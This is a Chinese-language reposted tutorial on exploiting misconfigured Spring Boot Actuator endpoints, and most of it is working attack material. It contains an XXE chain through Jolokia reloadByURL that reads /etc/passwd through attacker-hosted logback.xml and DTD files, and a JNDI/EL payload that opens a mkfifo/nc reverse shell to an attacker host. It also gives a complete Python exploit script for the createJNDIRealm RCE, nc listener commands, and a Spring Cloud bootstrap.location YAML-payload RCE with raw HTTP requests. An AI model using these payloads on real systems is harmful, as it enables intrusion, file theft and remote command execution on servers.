Spring Boot Actuator 漏洞利用 
本文转自诺言  并作补充
 
前言 
Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。
 
漏洞发现 
通常通过两个位置判断网站是否使用了Spring Boot框架。
 
影响版本 
Spring Boot < 1.5 默认未授权访问所有端点
 
端点描述 
官方文档对每个端点的功能进行了描述。
 
1 2 3 4 5 6 7 8 9 10 11 12 路径            描述 /autoconfig    提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 /beans         描述应用程序上下文里全部的Bean,以及它们的关系 /env           获取全部环境属性 /configprops   描述配置属性(包含默认值)如何注入Bean /dump          获取线程活动的快照 /health        报告应用程序的健康指标,这些值由HealthIndicator的实现类提供 /info          获取应用程序的定制信息,这些信息由info打头的属性提供 /mappings      描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系 /metrics       报告各种应用程序度量信息,比如内存用量和HTTP请求计数 /shutdown      关闭应用程序,要求endpoints.shutdown.enabled设置为true  /trace         提供基本的HTTP请求跟踪信息(时间戳、HTTP头等) 
Spring Boot 1.x版本端点在根URL下注册。
Spring Boot 2.x版本端点移动到/actuator/路径。
本文中端点的位置都是基于网站根目录下,实战中遇到的情况是,端点可能存放在多级目录下,需要自行进行寻找。
访问/env端点获取环境属性。
 
Jolokia端点利用 
大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了不当的Jolokia端点,可能会产生XXE、甚至是RCE安全问题。
 
reloadByURL方法 
查看/jolokia/list 中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法。
 
xxe漏洞实现 
reloadByURL方法,允许远程加载logback.xml 配置文件,并且解析 xml 文件未做任何过滤措施,导致了xxe漏洞。
 
1 2 3 4 5 logback.xml,地址为公网vpsweb服务地址。 <?xml version="1.0"  encoding="utf-8"  ?> <!DOCTYPE a [ <!ENTITY % remote  SYSTEM  "http://x.x.x.x/fileread.dtd" > %remote;%int;]> <a > &trick; </a > 
1 2 3 4 fileread.dtd <!ENTITY % d SYSTEM  "file:///etc/passwd" >  <!ENTITY % int  "<!ENTITY trick SYSTEM ':%d;'>" > 
2、把创建的logback.xml和fileread.dtd文件上传到公网vps的web目录下。
 
3、远程访问logback.xml文件。
 
1 www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default ,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml 
成功利用xxe读取到etc/passwd文件内容。
 
远程代码执行实现 
可以在logback.xml中使用insertFromJNDI标签,这个标签允许我们从 JNDI 加载变量,导致了rce漏洞产生。详细过程 
 
1 ELProcessor.eval (\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval (\"new java.lang.ProcessBuilder['(java.lang.String[])' ](['/bin/sh' ,'-c' ,'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f' ]).start()\" 
而 ELProcessor.eval() 会对 EL 表达式(这里为反弹 shell)进行求值,最终达到 RCE 的效果。
 
下载rce利用代码 。mvn clean install
 
1 2 3 4 5 修改logback.xml文件内容。 <configuration >   <insertFromJNDI  env-entry-name ="rmi://x.x.x.x:1097/jndi"  as ="appName"  />  </configuration > 
把RMIServer-0.1.0.jar文件上传到公网vps上。java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
 
vps使用nc监听反弹shell指定的端口。nc -lvp 9998http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!114.x.x.x!/logback.xml
 
createJNDIRealm方法 
相关原理请查看Attack Spring Boot Actuator via jolokia Part 2 
利用过程分为五步。
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 可以使用burp一步步重放,也可以直接使用python脚本执行。 import  requests as  reqimport  sysfrom  pprint import  pprinturl = sys.argv[1 ] + "/jolokia/"  pprint(url) create_JNDIrealm = {     "mbean" : "Tomcat:type=MBeanFactory" ,     "type" : "EXEC" ,     "operation" : "createJNDIRealm" ,     "arguments" : ["Tomcat:type=Engine" ] } set_contextFactory = {     "mbean" : "Tomcat:realmPath=/realm0,type=Realm" ,     "type" : "WRITE" ,     "attribute" : "contextFactory" ,     "value" : "com.sun.jndi.rmi.registry.RegistryContextFactory"  } set_connectionURL = {     "mbean" : "Tomcat:realmPath=/realm0,type=Realm" ,     "type" : "WRITE" ,     "attribute" : "connectionURL" ,     "value" : "rmi://x.x.x.x:1097/jndi"  } stop_JNDIrealm = {     "mbean" : "Tomcat:realmPath=/realm0,type=Realm" ,     "type" : "EXEC" ,     "operation" : "stop" ,     "arguments" : [] } start = {     "mbean" : "Tomcat:realmPath=/realm0,type=Realm" ,     "type" : "EXEC" ,     "operation" : "start" ,     "arguments" : [] } expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start] for  i in  expoloit:    rep = req.post(url, json=i)     pprint(rep.json()) 
使用之前打包好的jar包-RMIServer-0.1.0.jar,运行RMI服务java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
使用nc监听反弹的端口nc -lvp 9998
使用python发送请求python exp.py http://x.x.x.x:8087
成功反弹shell。
 
spring Cloud env 
当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCEhttps://www.anquanke.com/post/id/195929 
 
利用范围 
Spring Boot 2.x 无法利用成功
 
利用过程 
大致原理分为2步。http://x.x.x.x/yaml-payload.yml exp 
 
1 2 3 4 将java文件进行编译 javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ . 
把生成的jar文件挂载到公网http服务器。
 
1 2 3 4 5 6 POST  /env  HTTP/1.1 Host :  127.0.0.1:8090Content-Type :  application/x-www-form-urlencodedContent-Length :  59  spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml 
请求 /refresh 接口触发
 
1 2 3 4 POST  /refresh  HTTP/1.1 Host :  127.0.0.1:8090Content-Type :  application/x-www-form-urlencodedContent-Length :  0
命令执行成功。
 
参考文章 
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators https://www.veracode.com/blog/research/exploiting-jndi-injections-java http://radiosong.cn/index.php/2019/04/03/1.html https://xz.aliyun.com/t/4258 http://r3start.net/index.php/2019/01/20/377 https://github.com/mpgn/Spring-Boot-Actuator-Exploit https://www.secshi.com/21506.html https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc https://www.anquanke.com/post/id/195929 http://vulsee.com/archives/vulsee_2019/1025_9168.html